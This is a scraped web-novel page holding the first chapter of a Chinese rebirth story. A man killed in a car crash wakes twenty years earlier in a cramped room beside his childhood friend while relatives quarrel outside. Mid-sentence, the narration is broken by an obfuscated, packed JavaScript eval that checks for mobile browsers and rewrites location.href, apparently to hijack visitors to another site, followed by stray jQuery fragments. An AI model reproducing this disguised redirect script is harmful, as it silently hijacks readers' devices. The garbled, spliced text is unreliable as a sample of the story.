默认冷灰
24号文字
方正启体

1. 重回二十年前

作者:脑佺通本书字数:K更新时间:
    《K市必吃榜从良了》BY脑佺通


    第一章


    向安宁被一辆逆行的货车撞到,人当场没了。


    他再次睁开眼,就看到自己刚提的新车只剩下车尾箱还在□□,车子的前半段被货车压成薄片,一旁的货车司机鼻涕眼泪齐飞打120急救电话。


    “我操了,都这样了还叫什么救护车啊,叫殡仪馆倒是能赶上热乎的。”向安宁摸口袋想要抽根香烟冷静下,摸了个空。


    他这会才意识到,自己死了。


    毕竟他不可能不带烟出门。


    而他真正的身体,就在眼前,在三维世界里呈现出二维状态。


    扁的能当汉堡肉煎。


    就在向安宁郁闷死的太难看的时候,一本书从天而降砸在他脑袋上,他摸不着头脑的捡起书,书名是:


    《恨海情天·我带球跑后妒夫狠狠火葬场》


    他这下更加摸不着头脑了。


    但死都死了,怪事也不多这一件。


    向安宁坐在那个空间里,把这本地摊文学从头翻到尾,看到自己和陆怀斟的名字,变成别人嘴里的谈资:“那群富二代玩的太花了,知道K市双雄吗,他俩一个阳痿,一个得病。”


    富二代?得病?


    仗着死人不会说话就这样造谣是吧。


    他冷笑着撕了那本书,随后眼前一黑。


    六月底,K市闷得像蒸笼。


    城中村的某栋老破小里,窗台焊着铁栅,鸽子笼大小的房间里躺着两个酣睡的男生。


    凉席上的两人睡得并不安稳,皱着眉,浑身汗津津的。


    睡在床边的向安宁从溺毙般的窒息感中惊醒,他猛地吸气,睁开眼。


    一张年轻的脸怼在眼前。


    是陆怀斟,他的发小。


    向安宁愣了会儿,第一反应:陆怀斟不是瘦成细狗了吗?怎么脸上肉乎乎的气色那么好?打针了?


    不对。


    先不说细狗的事,我不是死了吗?


    他僵在凉席上,缓缓坐起身。


    没敢动,就那么直愣愣坐着。


    这里是......


    他咽了咽口水,不敢置信的打量四周。


    狭窄的房间,只摆得下一张床和桌子,桌上堆着半人高的教科书,窗户焊着铁条,墙上贴着高考倒计时,撕得只剩下一个0。


    这里是他二十年前住的房间,一如记忆中逼仄。


    向安宁的呼吸停了半拍。


    “操。”他重生到了二十年前,回到一切还没开始的地方。


    车祸死亡,世界是本小说,诡异的重生......向安宁现在急需冷静下,他条件反射的摸口袋找香烟,不料摸了个空。


    他愣住。


    又摸了一遍,口袋还是空的。


    心跳猛地失速。


    那一瞬间,他血液倒流,手脚发麻,冷汗唰地冒了出来洇湿后背。


    烟呢?


    他自从ED(阳痿)后,每天起床第一件事就是摸烟,焦虑的时候抽烟,开心的时候抽烟,睡不着的时候抽烟。


    他没带烟,这个世界是真实的吗?


    向安宁呼吸越来越短促,眼前时明时暗,整个人开始发抖。他用最后的意识,颤着手,娴熟地摸上发小的裤子。


    确认对方口袋里有硬物,手指一勾,精准的从里头掏到个皱巴巴的烟壳。


    敲出一根。


    咔哒,点燃。


    顶级过肺。


    尼古丁涌进肺里的那一刻,颤抖的手稳下来。


    他闭上眼,慢慢吐出一口烟。


    冷静了。


    “操,对自己好点吧,这烟也太臭了。”他又抽了几口,嫌弃地把烟架远。


    一根烟抽完,理智重新占领高地。


    他站起身,走到窗边,透过铁栅栏看外面。


    熟悉的巷子,对面楼阳台上晾着花裤衩,楼下卖西瓜的三轮车支着帐篷。


    生活化的场景无一不在告诉他,眼前的一切都是真的。


    二十年前。


    他真的回来了。


    向安宁站在窗前,沉默了很久。


    然后。


    向安宁在打拼十多年的事业化为泡影的气愤和破财消灾捡回一条命的狂喜中——他选择脱下裤子检查。


    雄伟老弟跟死了一样安静。


    怎么掐怎么捏都没感觉。


    他面无表情的提起裤子,又从烟盒里敲出一根。


    靠。


    不如就那样死了算了。


    医生说他的阳痿是心理原因。


    行,心理原因。


    他叼着烟,大马金刀地坐到床尾,终于闲下来回头看向床上睡得正熟的陆怀斟。


    刚才他的动静那么大,这人愣是连哼唧一声都没。


    十八岁的陆怀斟,天塌下来都叫不醒。


    他睡得极香,脸上印着凉席印子,白色老头背心卷到胸口,露出晒成小麦色的腹肌轮廓。呼吸平稳,胸口起伏,偶尔咂咂嘴,不知道在梦里吃什么好东西。


    向安宁看着他,突然笑了一下。


    这个时间点,什么都还没发生,他活着,陆怀斟也尚存人样。


    “咳、咳咳!咳!”


    陆怀斟被烟味呛醒,撕心裂肺的咳了好一会。


    他打了个哈欠,看着床尾沉默的制造烟鬼快乐桑拿房的发小,不满地用脚点了点对方的腰:“不问自取视为偷。偷我烟就算了,怎么不开排气?”


    排气?


    向安宁顿了顿,记忆迟缓的回笼。


    他想起来了,这房间是用家里其中一个厕所改的。


    自从他继父余城的亲戚搬进来后,他的卧室不知不觉就被他人霸占了。


    要不是陆怀斟提起这事情,他都快忘记了曾经自己过得有多苦。


    向安宁起身,按下墙上的开关,隐藏在墙纸后面的排气扇发出残喘的嗡嗡声。


    对味了,就是这个声音。


    “你cos什么忧郁王子呢?”陆怀斟靠在床头,热得汗直冒,掀起背心擦了擦脸,狐疑的看着对方:“做噩梦了?还是怕高考没考好?”


    向安宁没理他,嘴追着烟吸了一口。


    “喂,你那什么眼神?”陆怀斟不自然的坐直了些,皱起眉,“真出事了?”


    向安宁单手夹着烟,神色不明的上下打量对方。


    半晌,带着一脸怀念开口:


    “陆怀斟,你现在好肥。”


    “?”陆怀斟差点跳起来,难以置信的指着自己鼻子:“谁?我?”


    向安宁郑重点头。


    是健康的肉感。


    没胃病没厌食症,高考这段时间吃补品贴了膘,又高又壮,比前世那副瘦竹竿样顺眼多了。


    谁能想到这人后来被男友戴绿帽。


    得了失心疯的男友还在外面到处造谣他得了性病,气得他吃什么吐什么,195的大高个瘦成晾衣杆,放在阳台上能晾两床被子,烧成灰都没两斤。


    后来谣言越传越离谱,把去看男科的他也扯了进去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449582|201135||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    K市必吃榜两大门面,就这么让人笑话死了。


    向安宁叼着烟,碎碎念:“陆怀斟,你以后不准再乱谈恋爱,谈也谈个靠谱的,别什么垃圾都往嘴里送。”


    “?”


    “还有,以后别到处跟人说我去医院的事。咱俩各丢各的人,别搞捆绑销售。”


    “等等等等。”陆怀斟爬过去一把掐了他的烟,“一睡醒就嫌我肥,还咒我谈恋爱遇垃圾?什么医院?你睡昏头了吧?”


    烟被抽走,向安宁维持着姿势没动。


    他歪了歪头:“可能吧。”


    重生这事,要跟他说么?


    算了。


    说了也是被当神经病。


    向安宁还没想好怎么接话,房间门就被人猛砸了几下,震天响。


    “砰砰砰!”


    “开门!大中午的关着门干什么?”


    女人的嗓门又尖又利:“向安宁!这都几点了还睡呢?高考都考完了还窝着,等谁伺候你?”


    另一个声音夹在中间,低三下四的:“婶子,你收摊回来了?能不能小点声,安宁和朋友还在午睡......”


    向安宁一愣。


    这个声音是余城,他的继父。


    “我嗓门就那么大!天生的!”李桂金越骂越来劲,“我天不亮就出去摆摊,累死累活养这一大家子,他可倒好,在家睡大觉?!”


    “婶子你小点声......”


    “你少在这儿装好人!”她冲余城啐了一口,“养别人儿子养上瘾了是吧?当初说好供到高考,怎么,现在还想供大学?我告诉你余城,别指望我们出一分钱!”


    “婶子你一定是误会了,我们没打算找大家借钱。”余城尴尬至极,无助的看了眼儿子的房门。


    “哟!你有钱呐?有钱怎么不早说?咱妈上个月住院你怎么就只掏了两千?好你个余城,你心眼也忒多了!向安宁这小屁孩就是跟着你不学好!”女人语速跟机关枪一样,“懂事的孩子高考完都出去打工,你让他闲坐家里,衣食住行哪个不要公家出钱!”


    “我们交了伙食费......”


    “半大小子吃穷老子!”


    余城被吼得退了一步,“可他刚回家没几天,之前都在学校住宿......”


    屋里,陆怀斟听得直皱眉。


    这房子是向安宁亲妈留的,如今被这帮人住着,倒像他们是主人,向安宁才是那个来打秋风的。


    简直倒反天罡。


    他扭头看向安宁,“天天这样吵也不是办——”他声音戛然而止。


    陆怀斟发现向安宁的表情很不对劲,那张脸白得像纸,衬得眉眼像画上去的,眼下泛着淡淡青痕,嘴唇干裂,嘴角微微向下耷拉着。


    表情很奇怪,淡淡的,有股捉摸不透的阴郁,厌倦中带着讥讽,十分耐人寻味。


    陆怀斟下床,走过去,把他脸掰正面向自己:“不高兴?”


    向安宁垂下眼。


    浓密的睫毛投下阴影,盖住古井无波的眼,也盖住了他似有似无的冷意。他没应声,反手往陆怀斟兜里探:“没烟了?”


    “有也不给。”陆怀斟盯着他,没放过他脸上任何细微的表情,心想或许对方是被是家里事烦的。


    “去我家住?”陆怀斟说。


    向安宁扫了一圈这间屋子,目光落在窗台铁栅栏上,落在那床缺了好几根竹条的凉席上,最后收回来,摇了摇头。


    “不去。”


    他要夺回属于自己的家。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)